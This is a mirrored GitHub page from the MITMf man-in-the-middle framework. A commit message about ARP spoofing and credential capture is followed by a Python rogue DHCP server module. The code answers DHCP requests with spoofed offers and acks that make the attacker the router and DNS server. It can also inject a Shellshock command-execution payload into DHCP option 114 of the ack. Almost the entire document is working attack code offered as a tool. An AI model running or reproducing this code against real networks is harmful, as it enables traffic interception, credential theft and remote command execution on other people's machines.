mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-05 20:42:20 -07:00
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds. - Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all. - Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code) - The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2) - An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons: 1) Impacket is moving towards SMB2 support and is actively developed 2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file) 3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out) - Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!) - Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable. - POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use) - Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out) - Some plugins are missing because I'm currently re-writing them, will be added later - Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
107 lines
No EOL
3.5 KiB
Python
107 lines
No EOL
3.5 KiB
Python
import logging
|
|
import threading
|
|
import binascii
|
|
import random
|
|
|
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
|
from scapy.all import *
|
|
|
|
mitmf_logger = logging.getLogger('mitmf')
|
|
|
|
class DHCPServer():
|
|
|
|
def __init__(self, interface, dhcpcfg, ip, mac):
|
|
self.interface = interface
|
|
self.ip_address = ip
|
|
self.mac_address = mac
|
|
self.shellshock = None
|
|
self.debug = False
|
|
self.dhcpcfg = dhcpcfg
|
|
self.rand_number = []
|
|
self.dhcp_dic = {}
|
|
|
|
def start(self):
|
|
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
|
|
t.setDaemon(True)
|
|
t.start()
|
|
|
|
def dhcp_sniff(self, interface):
|
|
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
|
|
|
|
def dhcp_rand_ip(self):
|
|
pool = self.dhcpcfg['ip_pool'].split('-')
|
|
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
|
|
max_range = int(pool[1])
|
|
min_range = int(pool[0].split('.')[3])
|
|
number_range = range(min_range, max_range)
|
|
for n in number_range:
|
|
if n in self.rand_number:
|
|
number_range.remove(n)
|
|
rand_number = random.choice(number_range)
|
|
self.rand_number.append(rand_number)
|
|
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
|
|
|
|
return rand_ip
|
|
|
|
def dhcp_callback(self, resp):
|
|
if resp.haslayer(DHCP):
|
|
xid = resp[BOOTP].xid
|
|
mac_addr = resp[Ether].src
|
|
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
|
|
if xid in self.dhcp_dic.keys():
|
|
client_ip = self.dhcp_dic[xid]
|
|
else:
|
|
client_ip = self.dhcp_rand_ip()
|
|
self.dhcp_dic[xid] = client_ip
|
|
|
|
if resp[DHCP].options[0][1] is 1:
|
|
mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
|
mitmf_logger.info("Sending DHCP OFFER")
|
|
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
|
IP(src=self.ip_address, dst='255.255.255.255') /
|
|
UDP(sport=67, dport=68) /
|
|
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
|
DHCP(options=[("message-type", "offer"),
|
|
('server_id', self.ip_address),
|
|
('subnet_mask', self.dhcpcfg['subnet']),
|
|
('router', self.ip_address),
|
|
('lease_time', 172800),
|
|
('renewal_time', 86400),
|
|
('rebinding_time', 138240),
|
|
"end"]))
|
|
|
|
try:
|
|
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
|
except KeyError:
|
|
pass
|
|
|
|
sendp(packet, iface=self.interface, verbose=self.debug)
|
|
|
|
if resp[DHCP].options[0][1] is 3:
|
|
mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
|
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
|
IP(src=self.ip_address, dst='255.255.255.255') /
|
|
UDP(sport=67, dport=68) /
|
|
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
|
DHCP(options=[("message-type", "ack"),
|
|
('server_id', self.ip_address),
|
|
('subnet_mask', self.dhcpcfg['subnet']),
|
|
('router', self.ip_address),
|
|
('lease_time', 172800),
|
|
('renewal_time', 86400),
|
|
('rebinding_time', 138240)]))
|
|
|
|
try:
|
|
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
|
except KeyError:
|
|
pass
|
|
|
|
if self.shellshock:
|
|
mitmf_logger.info("Sending DHCP ACK with shellshock payload")
|
|
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
|
packet[DHCP].options.append("end")
|
|
else:
|
|
mitmf_logger.info("Sending DHCP ACK")
|
|
packet[DHCP].options.append("end")
|
|
|
|
sendp(packet, iface=self.interface, verbose=self.debug) |